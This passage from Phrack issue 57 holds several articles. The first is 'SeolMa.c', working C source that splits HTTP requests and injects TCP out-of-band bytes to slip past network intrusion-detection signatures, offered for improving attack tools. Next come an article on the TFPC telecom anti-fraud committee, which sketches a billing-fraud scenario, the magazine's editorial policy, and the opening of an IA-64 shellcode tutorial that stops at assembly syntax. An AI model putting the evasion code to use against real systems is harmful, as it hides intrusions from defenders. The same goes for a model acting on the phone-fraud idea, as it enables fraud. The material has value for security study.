I gave "SeolMa" as a name of this method.

Acknowledgement: Thanks to other RealAttack Team(www.realattack.com) members

Yoon , Young ( yoon0258@www.a3sc.co.kr ) Oh, Jae Yong (syndcate@orgio.net ) Yoon, Young Min (scipio21@yahoo.co.kr)

|=[ SeolMa.c ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* This is a simple source code for just test.

You can improve your exploit source by observing it Compiled and Tested on Linux 2.2.X

It works aginst most Apache , IIS well .

Improve your web‑cgi scan, attack tool

Written by : YoungJun Ko, ohojang@realattack.com Sungjun Ko, Minsook Ko

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <fcntl.h>

#define TCP_PORT 80

#define SOL_TCP 6

#define TCP_NODELAY 1

#define TARGET_IP "1.2.3.4"

/* counter < NIDS's Signature length ‑ 1

For example, Against "test‑cgi "

should counter < 7 */

int counter=0;

/* writen() is important point in this source code...

I adjust Stevens's code */

int writen(fd, ptr, nbytes ,sockfd,origin)

register int fd;

register char *ptr;

register int nbytes;

int sockfd;

char *origin;

{

int nleft, nwritten ;

int i, k;

char urgent[2];

int done =0;

int all =0;

nleft= nbytes;

while( nleft > 0 ) {

nwritten = write(fd , ptr, counter ); if ( nwritten <= 0 )

{

printf("Write Error \n" ); return (nwritten);

}

nleft ‑= nwritten ;

ptr += nwritten;

all += nwritten;

/* For some Linux, we must sleep . */

sleep(2);

/* 4 times insertion is enough for IDS evasion in simple cases */

if ( done != 4 )

{

for (k=1 ; k <=1 ; k++ )

{

urgent[0]= *ptr;

urgent[1]= 'X';

urgent[2]= '\0';

i = send( fd, urgent , strlen(urgent), MSG_OOB ) ; printf("send result is %d\n" , i );

}

done +=1;

ptr += 1;

}

}

return(nbytes ‑ nleft );

}

int

main(int argc, char *argv[])

{

int sockfd;

int i,j,k,sendbuff;

socklen_t optlen;

struct sockaddr_in serv_addr;

char buffer[2048];

char recvbuffer[2048];

bzero( (char *)&serv_addr , sizeof(serv_addr) ); serv_addr.sin_family = AF_INET;

serv_addr.sin_addr.s_addr = inet_addr(TARGET_IP ); serv_addr.sin_port = htons ( TCP_PORT );

counter = atoi(argv[2]);

if ( counter == 0 )

{

printf("You must input counter value \n" ); exit(‑1) ;

}

if ( (sockfd = socket( AF_INET , SOCK_STREAM , 0 )) < 0 ) {

printf("Error socket \n");

exit(‑1);

}

sendbuff = 1;

optlen = sizeof(sendbuff );

i= setsockopt( sockfd,

SOL_TCP,

TCP_NODELAY,

(char *)&sendbuff,

optlen);

printf("setsockopt TCP_NODELAY value %d\n" , i );

if ( connect (sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr))<0) {

printf("Connect Failed \n");

exit(‑1);

}

/* make a such file contains "GET /test‑cgi /HTTP 1.0\n\n" */

i= open(argv[1], O_RDONLY );

j=read ( i, buffer , sizeof(buffer));

printf(" Read Buffer size is %d\n", j );

k= writen( sockfd , buffer, j, sockfd, buffer);

printf("I write on socket %d bytes \n", k );

sleep(1);

/*

* I use just simple read() ... Usually it make error ,

* But don't care about it

* Just observe your web server log. ( access_log , ... )

*/

k = read ( sockfd, recvbuffer , sizeof(recvbuffer) ); printf(" I Read on socket %d bytes\n", k );

printf("%s\n", recvbuffer );

return 0;

}

|=[ 0x02 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Telecommunications Fraud Prevention Committee (TFPC)

written by nemesystm, member of the dhc.

http://dhcorp.cjb.net : neme‑dhc@hushmail.com

[introduction]

In this article I will talk about the TFPC and what this committee actually does. I will take an issue that was raised during a meeting of the TFPC, explain its contents and what is going to happen in the (near) future to clarify exactly what the TFPC's activities are.

I have added some miscellaneous information like a contact address and other Anti fraud initiatives in case you want to write to the TFPC or if you want to look into other similar initiatives.

While making this article I was amazed how little information people I contacted were willing to give. This was also the reason why I decided to write this article as I stumbled upon the TFPC some time ago and found little to no information about them.

I hope this article will be of use to you.

please e‑mail neme‑dhc@hushmail.com if you have questions.

nemesystm

[What the TFPC does.]

According to the guidelines that can be found on the TFPC website(1), "The TFPC is an open industry committee under the Carrier Liaison Committee (CLC). The TFPC provides an open committee to encourage the discussion and resolution, on a voluntary basis, of industry‑wide issues associated with telecommunications fraud, and facilitates the exchange of information concerning these topics."(2)

This told me next to nothing; a little searching was in order. The following factors affecting telecom fraud are handled by the TFPC:(3)

SPI's ‑ Service Provider Identification

An SPI is a 4 character code that can be used in SS7 to identify who provides the service of a call.

If you would like a short description of SS7 or Switching System 7, go to: www.cid.alcatel.com/doctypes/techprimer/keywords/ss7.jhtml

Number pooling

Number pooling refers to the blocks of ten thousand numbers and thousand numbers that a provider draws from to provide customers with phone numbers. An example of a ten thousand number block is 214‑745‑xxxx

Merging of the BVDB ‑ Billing Validation DataBase

The BVDB's are used by RAO (Revenue Accounting Offices) of the carriers to calculate how much a customer has to pay. Currently BVDB's are not merged so some people try to stay ahead of them.

Expansion of the LIDB ‑ Line Information DataBase

The LIDB sends a message to the BVDB's telling them about a call that is being made. Fraud happens for example when the LIDB cannot connect to the proper BVDB to write the bill.

Additions to LSR ‑ Local Service Requests

LSR requests basically occur when you make a local call in North America. You do not pay for the call and therefore it is not recorded in any way. The TFPC is working together with the OBF (Order and Billing Forum) to find a industry wide solution to make it that those calls are also recorded by the DVDB's for the RAO's.

A second source(4) also added the following:

"While much of the TFPC's activities are shrouded in secrecy, it is actively addressing third number billing, incoming international collect to cellular, incoming payphone and PBX remote access fraud."

I think that clears things up a little.

[who is in the TFPC.]

The TFPC membership consists of a group of carriers including Ameritech, AT&T, Bellsouth, Bell Canada, British Telecom, Sprint and Verizon.(5) A TFPC member must be an organization, company or government agency that is affected by Telecommunications Fraud.

Because the TFPC discusses sensitive information a non‑disclosure agreement must be signed.(6) When becoming a member of the TFPC you also have to pay a membership fee. The membership fee is relatively small and really more a sign of good will.(7)

[what they decide ‑ case study]

In the infinite wisdom that the TFPC has, ;) they decided that it was alright to make one of the issues public. The issue I was able to get was Issue #0131(8), subtitled: "Identification of Service Providers for Circuit Switched Calls".

The issue was raised by Norb Lucash of the USTA.

"Issue statement: In a multi‑service provider environment (e.g. resale, unbundling, interconnection) there is a need for a defined architecture(s) to identify entities (companies) that are involved in circuit‑switched calls to facilitate billing and auditing."

If you look into this you'll see that it means that there was no identification of the individual service providers when phone calls were circuit switched. Apparently Local Service Providers (LSP's) were identified by the originating phone number, but because of the current "environment" this is not working properly, so sometimes calls that cost money can not be properly billed.

To solve this problem phone calls are to be accompanied by a SPI. Then everyone can just check the SPI to find out who to bill for the call. There are several solutions to the problem so a strawman was created called "Service Provider Identification Architectural Alternatives Report"(9). Quite the mouthful.

This issue was first raised on 11/17/98 and is still being worked on. In general session #28 (one of the tri‑yearly meetings) on May 1st of 2001 it was concluded that this was allowed to be made available on the NIIF site. The NIIF were the people that made the strawman. NIIF stands for Network Interconnection Interoperability Forum and is part of the CLC, just like the TFPC is.

I believe this will be a recipe for disaster. What if a rather disgruntled individual manages to get the SPI of company X? This individual truly dislikes company X. So he hooks into a main phone line and calls the most expensive places and does it quite often. The company handling the phone calls recognizes the SPI to be from company X. Company X gets the bill and thinks: no problem, we'll just bill the person who made the calls. When company X finds out none of their clients made those calls they have lost money. The choice made from the solutions below will decide how the attack would be done.

[the alternatives ‑ case continued]

As I said before, there are several solutions to the problem of the SPI's. Here they are:

A. Switch‑Based Alternative

B. Non‑Real Time Database Alternative

C. Network Database Alternative

D. Non‑Call Setup Network Alternative

E. Phased SPI Implementation Alternative

What follows is a run through of how each solution would work.

A. Switch‑Based Alternative

When a call is coming in, information about the account owner of the person calling becomes available as a line‑based attribute. Both the acount owner and switch owner information is forwarded in a new parameter in the (SS7) call‑setup signalling of the IAM (Initial Address Message). This information is then made available to every network node on the route of the call. When the calls reaches the final switch, similar information of the SPI of the called number is returned via (SS7) response messages, (e.g, ACM (Address Complete Message) and ANM (Answer Message)). When that information is received the originating switch has the option of including it within the originating AMA (Automatic Message Accounting) record of the call.

An advantage of this would be that the information would move in real time between the companies involved. But this solution has some problems, it would require that all switches get enhanced, the AMA will have to change to make this possible and it doesn't take care of situations where SPI‑type information is needed for numbers which are neither owned by the called nor calling person.

B. Non‑Real Time Database Alternative

With this alternative it is the idea that SPI information should be put in

one or more databases not directly connected to the processing of separate calls. The information could then be made available on request to the phone network some time after the call. The time between the call and the receipt of the SPI information can range from mere milliseconds up to weeks.

This is actually an alright approach because only one (minor) problem gets created and only one problem remains. Everyone would have to agree who would be the third, independent, party to maintain the database. This alternative would not allow for SPI‑based screening for call routing purposes.

C. Network Database Alternative

Sort of like the Switch‑Based Alternative, this does real‑time receiving and sending of SPI information when the call gets made. But the Switch‑Based Alternative gets the SPI information from the switch. This alternative gets the information from an external database connected to the

network. SPI information would then by grabbed by IN (Intelligent Network) or AIN (Advanced Intelligent Network) queries when the call is made. The information could become part of one of the queries currently in use (LNP, LIDB and Toll Free for example) or a completely new query that gets handled by a separate SCP (Service Control Point).

D. Non‑Call Setup Network Alternative

The idea behind this solution is that the SPI information still comes through network signalling but detached from the call setup portion. ONLS (Originating Line Number Screening) and GET DATA (SS7) messaging are a way to get information outside of the standard call setup.

E. Phased SPI Implementation Alternative

The NIIF analysed the other solutions and figures alternative C is the best way to go as it comes closest to the requirements of the system that is needed.

Implementation of any alternative that provides SPI in a real‑time way will have a serious impact on the phone network and it will take a long time before it is completely implemented.

Not all carriers have a SPI right now, so an expedited solution must be found for their problems. The NIIF thinks a segmented implementation of a

limited SPI capability with a non real‑time database will be best. In the future the database could be enhanced.

A phased approach that begins with including SPI information with a non real‑time accessible line‑level database appears to be possible to implement in the near future that gives a lot of the wanted attributes.

The NIIF thinks it will be best if existing LIDB's get used as a database at first because a lot of the LIDB's will already contain an Account Owner field, are available to most facilities‑bases service providers and may not require that much change.

Problems with LIDB's are: Potential overload of LIDB queries. Inability to perform batch processing to do off hour downloads. Potential call delay set ups because of the higher amount of queries.

[so what is it going to be?]

Right now no final decision has been made, all this information has been sent to the OBF (Order & Billing Forum) to make a RFP (Request For Process) so a final decision can be made.

By the sounds of things alternative E is probably going to be the "winner" in all of this.

[miscellaneous information]

The mailing address for the TFPC is(6)

TFPC Secretary ‑ ATIS

1200 G St. NW Suite 500

Washington, D.C. 20005

Ofcourse the TFPC is not the only anti fraud initiative.

A lot of telephony associations have a anti fraud section as well. I noticed that the following five were mentioned on quite a few websites on

telephone fraud. One such source was Agilent(10). Agilent is one of the members of the TFPC.

http://www.cfca.org

‑ Communications Fraud Control Association (CFCA) http://www.asisonline.org

‑ American Society for Industrial Security (ASIS) http://www.htcia.org

‑ High Technology Crime Investigation Association (HTCIA) http://www.iir.com/nwccc/nwccc.htm

‑ National White Collar Crime Center (NWCCC) http://www.fraud.org

‑ National Fraud Information Center (NFIC)

[conclusion]

Judging by the amount of planning, who are members and the work found you can rest assured that once a decision is made all members will implement it. This makes things harder for a phreak.

As the discovery of a problem by one company gets shared with other companies even greater vigilance is needed by individuals who do not want word to get out about their tricks.

I do not think that committees like the TFPC will succeed in banning out all the mistakes in the telephony network. This article showed that with the introduction of a solution for one problem another potential problem opened. I am sure there are many more.

[sources]

(1) http://www.atis.org/atis/clc/tfpc/tfpc/tfpchom.htm

from "TFPC Guidelines v1.0" published February 2001,

(2) found in section II, Mission Statement. http://www.atis.org/pub/clc/tfpc/tfpcguidefinal201.pdf

(3) according to a slide show taken from Nortel.com

called "Securing Your Net", presented by David Bench, Senior Staff Manager‑Industry Forums Liaison US Standards & industry forums team. monitor.pdf and portability.pdf

I have lost the links so I have put them up at http://www.emc2k.com/dhcorp/tfpc/monitor.pdf and

http://www.emc2k.com/dhcorp/tfpc/portability.pdf

(4) from a overview of The Operator, volume I, number 10. read in the letter from the editor section.

published October, 1992 http://www.whitaker.com/theoperator/opop0010.htm

(5) from "TFPC Company Participants" http://www.atis.org/atis/clc/tfpc/tfpclist.htm

(6) Non‑disclosure agreement http://www.atis.org/pub/clc/tfpc/nondnew.pdf

(7) as assumed by reading "2001 Funding fees for the TFPC" http://www.atis.org/pub/clc/tfpc/tfpc2001fees.doc

(8) History of decisions from 1998 until 2001 for issue 131 http://www.atis.org/pub/clc/niif/issues/0131.doc

(9) The original link died. I put it up for people to view at http://www.emc2k.com/dhcorp/tfpc/131strawr8.doc

(10)The following URL is cut up a bit to fit properly. http://www.agilent.com/cm/commslink/hub/issues/fraud/*CONNECT*

fraud_prevent_initiatives.html

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Editorial policy

==Phrack Inc.==

Volume 0x0b, Issue 0x39, Phile #0x04 of 0x12

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ THE PHRACK EDITORIAL POLICY ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ phrackstaff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

"Scholars and academics naturally tend to believe that formal knowledge is the most important way of knowing, and perhaps they are right, yet even so it is not formal but common knowledge which informs nearly all the day‑to‑day decisions and actions people take, even the most learned among them."

‑ William Gosling [Gosling, 1995]

‑‑‑‑| 1. Introduction

Because the editorship of Phrack has moved from being solely under the control of one person (route) to a group of "phrack staff", it is valuable to reiterate the editorial policy for the magazine.

Please note that it is not the intention of this article to describe requirements for what we will or will not accept for publication. The goal is to provide a number of pointers for authors which they will hopefully find useful when writing articles that they intend to submit.

Firstly, we wish to stress that we are dedicated to continuing and improving the reputation Phrack has for publishing interesting and original articles.

Articles published in Phrack have always fulfilled two general criteria:

1. The research described in the article is original and new.

2. The article is well written.

This has always been what Phrack is all about and it will remain that way. Each of the sections below describe things to keep in mind if you intend writing and submitting an article for the magazine.

‑‑‑‑| 2. Subjects for Research

We will never specify particular technology areas that authors should concentrate on. What you choose to write about is entirely up to you, assuming of course that it is related in some way to information security!

Many articles published in Phrack in the past have concentrated on an individual concept or an individual technology and we would like to see articles that combine concepts to create new ideas. For example: distributed denial of service tools exist because of work done on network agents that can be remotely controlled. What other ways can network agents be employed? Certainly for distributed password sniffing (roll your on Echelon...) and distributed network scanning, but also for worms and even as agents programmed to perform autonomous network penetration. We are as interested in the evolution of existing ideas as we are in research on entirely new subjects.

A good example of this type of thinking is the editorial written by route in Phrack 53. His article describes the properties of server‑centric attacks that most people are familiar with. In addition however, he talks about client‑centric attacks ‑ an idea which only seems obvious in hindsight and that certainly deserves much more attention.

‑‑‑‑| 3. Writing in Plain Language

Multiple Phrack articles have been "put into plain language" for general consumption by third‑parties such as online news outlets. They have taken the ideas presented in Phrack articles and described them using language and analogies that their readers can understand. With concepts such as distributed denial of service and buffer overflows it is not necessary for the reader to understand the subject at a very technical level in order to understand the underlying idea.

It is a fact that as subject matter becomes more technically esoteric and complex the audience that can understand that type of information gets smaller and smaller.

When writing about technical subjects it is tempting to write in highly technical language (and I admit that I am sometimes guilty of this myself), but please take into consideration the fact that the audience for Phrack is at varying levels of technical competence; this is a fact of life. In addition, many of the readers of Phrack may not have English as their first language and this makes it especially important that articles are clear so that we can maximize the readership. There is no shame in writing in simple language.

For these reasons we encourage submissions to Phrack to be written in language that is not excessively technical. We appreciate however that this is difficult to do when writing about subjects which are technical by their very nature.

‑‑‑‑| 4. Full Expansion of Ideas

A good article becomes a great article when the idea being presented is carried through to its full and logical conclusion.

For example: Phrack has published a number of articles on evading network‑based intrusion detection systems (IDS). Assuming that we have a new technique to document that allows us to bypass most IDS; of course the article must include a description of the theory behind the technique, but to make the article complete is should also include:

* A description of what fundamental mistake the designers of the IDS made to allow the technique to work.

* A section in the article on what can be done to mitigate the risk of the technique. For example: a patch or a change in the way an IDS is deployed or used.

* A discussion of other technologies that may be affected by similar techniques. For this example this could be firewall technology that attempts to perform signature‑based content analysis or even anti‑virus software based on a misuse‑detection model.

We encourage ideas to be presented fully and in a way that does not simply look at the technology in isolation.

‑‑‑‑| 5. Using References

Putting references to other pieces of work has become almost standard practice for Phrack articles. This is a very good thing because it allows the reader to continue their research into the particular subject.

At the end of your article, the list of references should include the author, the title, the date of the work, and also a URL for where it can be found online. For example:

[Stewart, 2000] Andrew J. Stewart, "Distributed Metastasis: A Computer Network Penetration Methodology", September, 1999. http://www.

securityfocus.com/data/library/distributed_metastasis.pdf

In addition to references for related pieces of work, we would like to see references to any materials that you found useful when performing your research for the article. This could include books, manuals, materials found online, and so on.

Any suggestions that you may have for follow‑on work should be included. Perhaps you are aware of a related technique that might work but have not had the time to investigate it: include this in your article.

‑‑‑‑| 6. Conclusions

This article should in no way be viewed as an attempt to force people into writing Phrack articles a certain way. These are simply some observations about what has been done in the past and could possibly be improved upon in the future. Happy writing!

‑‑‑‑| 7. References

[Gosling, 1995] William Gosling, "Helmsmen and Heroes ‑ Control Theory as a Key to Past and Future", 1994.

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

IA64 shellcode

==Phrack Inc.==

Volume 0x0b, Issue 0x39, Phile #0x05 of 0x12

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ WRITING SHELLCODE FOR IA‑64 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑=[ or: 'how to turn diamonds into jelly beans' ]‑‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ papasutra of haquebright ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑ Intro

‑ Big Picture

‑ Architecture

‑ EPIC

‑ Instructions

‑ Bundles

‑ Instruction Types and Templates

‑ Registers

‑ Register List

‑ Register Stack Engine

‑ Dependency Conflicts

‑ Alignment and Endianness

‑ Memory Protection

‑ Privilege Levels

‑ Coding

‑ GCC IA‑64 Assembly Language

‑ Useful Instruction List

‑ Optimization

‑ Coding Aspects

‑ Example Code

‑ References

‑ Greetings

‑‑> Intro

This paper outlines the techniques you need and the things I've learned about writing shellcode for the IA‑64. Although the IA‑64 is capable of executing IA‑32 code, this is not topic of this paper. Example code is for Linux, but most of this applies to all operating systems that run on IA‑64.

‑‑> Big Picture

IA‑64 is the successor to IA‑32, formerly called the i386 architecture, which is implemented in all those PC chips like Pentium and Athlon and so on.

It is developed by Intel and HP since 1994, and is available in the Itanium chip. IA‑64 will probably become the main architecture for the Unix workstations of HP and SGI, and for Microsoft Windows. It is a 64 bit architecture, and is as such capable of doing 64 bit integer arithmetic in hardware and addressing 2^64 bytes of memory. A very interesting feature is the parallel execution of code, for which a very special binary format is used.

So lets get a little more specific.

‑‑> EPIC

On conventional architectures, parallel code execution is made possible by the chip itself. The instructions read are analyzed, reordered and grouped by the hardware at runtime, and therefore only very conservative assumptions can be made.

EPIC stands for 'explicit parallel instruction computing'. It works by grouping the code into independent parts at compile time, that is, the assembly code must already contain the dependency information.

‑‑> Instructions

The instruction size is fixed at 41 bits. Each instruction is made up of five fields:

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑

| opcode | operand 1 | operand 2 | operand 3 | predicate |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑

| 40 to 27 | 26 to 20 | 19 to 13 | 12 to 6 | 5 to 0 |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑

The large opcode space of 14 bits is used for specializing operations. For example, there are different branch instructions for branches that are taken often and ones taken seldomly. This extra information is then used in the branch prediction unit.

There are three operand fields usable for immediate values or register numbers. Some instructions combine all three operand fields to a single 21 bit immediate value field. It is also possible to append a complete 41 bit instruction slot to another one to form a 64 bit immediate value field.

The last field references a so called predicate register by a 6 bit number. Precicate registers each contain a single bit to represent the boolean values 'true' and 'false'. If the value is 'false' at execution time, the instruction is discarded just before it takes effect. Note that some instructions cannot be predicated.

If a certain operation does not need a certain field in the scheme above, it is set to zero by the assembler. I tried to fill in other values, and it still worked. But this may not be the case for every instruction and every implementation of the IA‑64 architecture. So be careful about this...

Also note that there are some shortcut instructions such as mov, which for real is just an add operation with register 0 (constant 0) as the other argument.

‑‑> Bundles

In the compiled code, instructions are grouped together to 'bundles' of three. Included in every bundle is a five bit template field that specifies which hardware units are needed for the execution. So what it boils down to is a bundle length of 128 bits. Nice, eh?

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑

| instr 1 | instr 2 | instr 3 | template |

|‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑

| 127 to 87 | 86 to 46 | 45 to 5 | 4 to 0 |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑

Templates are used to dispatch the instructions to the different hardware units. This is quite straightforward, the dispatcher just has to switch over the template bits.

Templates can also encode a so‑called 'stop' after instruction slots. Stops are used to break parallel instruction execution, and you will need them to solve Data Flow Dependencies (see below). You can put a stop after every complete bundle, but if you need to save space, it is often better to stop after an instruction in the middle of a bundle. This does not work for every template, so you need to check the template table below for this.

The independent code regions between stops are called instruction groups. Making use of the parallel semantics they carry, the Itanium for example is capable of executing up to two bundles at once, if there are enough execution units for the set of instructions specified in the templates. In the next implementations the numbers will be higher for sure.

‑‑> Instruction Types and Templates

There are different instruction types, grouped by the hardware unit they need. Only certain combinations are allowed in a single bundle. Instruction types are A (ALU Integer), I (Non‑ALU Integer), M (Memory), F (Floating Point), B (Branch) and L+X (Extended). The X slots may also contain break.i and nop.i for compatibility reasons.

In the following template list, '|' is a stop:

00 M I I

01 M I I|

02 M I|I <‑ in‑bundle stop

03 M I|I| <‑ in‑bundle stop

04 M L X

05 M L X|

06 reserved

07 reserved

08 M M I

09 M M I|

0a M|M I <‑ in‑bundle stop

0b M|M I| <‑ in‑bundle stop

0c M F I

0d M F I|

0e M M F

0f M M F|

10 M I B

11 M I B|

12 M B B

13 M B B|

14 reserved

15 reserved

16 B B B

17 B B B|

18 M M B

19 M M B|

1a reserved

1b reserved

1c M F B

1d M F B|

1e reserved

1f reserved

‑‑> Registers

This is not a comprehensive list, check [1] if you need one.

IA‑64 specifies 128 general (integer) registers (r0..r127). There are 128 floating point registers, too (f0..f127).

Predicate Registers (p0..p63) are used for optimizing runtime decisions. For example, 'if' results can be handled without branches by setting a predicate register to the result of the 'if', and using that predicate for the conditional code. As outlined above, predicate registers are referenced by a field in every instruction. If no register is specified, p0 is filled in by the assembler. p0 is always 'true'.

Branch Registers (b0..b7) are used for indirect branches and calling. Branch instructions can only handle branch registers. When calling a function, the return address is stored in b0 by convention. It is saved to local registers by the called function if it needs to call other functions itself.

There are the special registers Loop Count (LC) and Epilogue Count (EC). Their use is explained in the optimization chapter.

The Current Frame Marker (CFM) holds the state of the register rotation. It is not accessible directly. The Instruction Pointer (IP) contains the address of the bundle that is currently executed.

The User Mask (UM):

+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| flag | purpose

+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| UM.be | set this to 1 for big endian data access | | UM.ac | if this is 0, Unaligned Memory Faults are raised only if | | | the situation cannot be handled by the processor at all |

+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The User Mask can be modified from any privilege level (see below).

Some interesting Processor Status Register (PSM) fields:

+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| flag | purpose

+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| PSR.pk | if this is 0, protection key checks are disabled | | PSR.dt | if this is 0, physical addressing is used for data | | | access; access rights are not checked. | | PSR.it | if this is 0, physical addressing is used for instruction | | | access; access rights are not checked. | | PSR.rt | if this is 0, the register stack translation is disabled | | PSR.cpl | this is the current privilege level. See its chapter for |

| | details.

+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

All but the last of these fields can only be modifiled from privilege level 0 (see below).

‑‑> Register List

+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| symbol | Usage Convention |

+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| b0 | Call Register |

| b1‑b5 | Must be preserved |

| b6‑b7 | Scratch |

| r0 | Constant Zero |

| r1 | Global Data Pointer |

| r2‑r3 | Scratch |

| r4‑r5 | Must be preserved |

| r8‑r11 | Procedure Return Values |

| r12 | Stack Pointer |

| r13 | (Reserved as) Thread Pointer |

| r14‑r31 | Scratch |

| r32‑rxx | Argument Registers |

| f2‑f5 | Preserved |

| f6‑f7 | Scratch |

| f8‑f15 | Argument/Return Registers |

| f16‑f31 | Must be preserved |

+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Additionaly, LC must be preserved.

‑‑> Register Stack Engine

IA‑64 provides you with a register stack. There is a register frame, consisting of input (in), local (loc), and output (out) registers. To allocate a stack frame, use the 'alloc' instruction (see [1]). When a function is called, the stack frame is shifted, so that the former output registers become the new input registers. Note that you need to allocate a stack frame even if you only want to access the input registers.

Unlike on SPARC, there are no 'save' and 'restore' instructions needed in this scheme. Also, the (memory) stack is not used to pass arguments to functions.

The Register Stack Engine also provides you with register rotation. This makes modulo‑scheduling possible, see the optimization chapter for this. The 'alloc' described above specifies how many general registers rotate, the rotating region always begins at r32, and overlaps the local and output registers. Also, the predicate registers p16 to p63 and the floating point register f32 to f127 rotate.

‑‑> Dependency Conflicts

Dependency conflicts are formally classified into three categories:

‑ Control Flow Conflicts

These occur when assumptions are made if a branch is taken or not. For example, the code following a branch instruction must be discarded when it is taken. On IA‑64, this happens automatically. But if the code is optimized using control speculation (see [1]), control flow conflicts must be resolved manually. Hardware support is provided.

‑ Memory Conflicts

The reason for memory conflicts is the higher latency of memory accesses compared to register accesses. Memory access is therefore causing the execution to stall. IA‑64 introduces data speculation (see [1]) to be able to move loads to be executed as early as possible in the code.

‑ Data Flow Conflicts

These occur when there are instructions that share registers or memory fields in a block marked for parallel execution. This leads to undefined behavior and must be prevented by the coder. This is the type of conflict that will bother you the most, especially when trying to write compact code!

‑‑> Alignment and Endianess

As on many other architectures, you have to align your data and code. On IA‑64, code must be aligned on 16 byte boundaries, and is stored in little endian byte order. Data fields should be aligned according to their size, so an 8 bit char should be aligned on 1 byte boundaries. There is a special rule for 10 byte floating point numbers (should you ever need them), that is you have to align it on 16 byte boundaries. Data endianess is controlled by the UM.be bit in the user mask ('be' means big endian enable). On IA‑64 Linux, little endian is default.

‑‑> Memory Protection

Memory is divided into several virtual pages. There is a set of Protection Key Registers (PKR) that contain all keys required for a process. The Operating System manages the PKR. Before memory access is permitted, the key of the respective memory field (which is stored in the Translation Lookaside Buffer) is compared to all the PKR keys. If none matches, a Key Miss fault is raised. If there is a matching key, it is checked for read, write and execution rights. Access capabilities are calculated from the key's access rights field, the privilege level of the memory page and the current privilege level of the executing code (see [1] for details). If an operation is to be performed which is not covered by the calculated capabilities, a Key Permission Fault is generated.

‑‑> Privilege Levels

There are four privilege levels numbered from 0..3, with 0 being the most privileged one. System instructions and registers can only be called from level 0. The current privilege level (CPL) is stored in PSR.cpl. The following instructions change the CPL:

‑ enter privileged code (epc)

The epc instruction sets the CPL to the privilege level of the page containing the epc instruction, if it is numerically higher than the CPL. The page must be execute only, and the CPL must not be numerically lower than the previous privilege level.

‑ break

'break' issues a Break Instruction Fault. As every instruction fault on IA‑64, this sets the CPL to 0. The immediate value stored in the break encoding is the address of the handler.

‑ branch return

This resets the CPL to previous value.

‑‑> GCC IA‑64 Assembly Language

As you should have figured out by now, assembly language is normally not used to program a chip like this. The optimization techniques are very difficult for a programmer to exploit by hand (although possible of course). Assembly will always be used to call some processor ops that programming languanges do not support directly, for algoritm coding, and for shellcode of course.

The syntax basically works like this:

(predicate_num) opcode_name operand_1 = operand_2, operand_3 Example:

(p1) fmul f1 = f2, f3

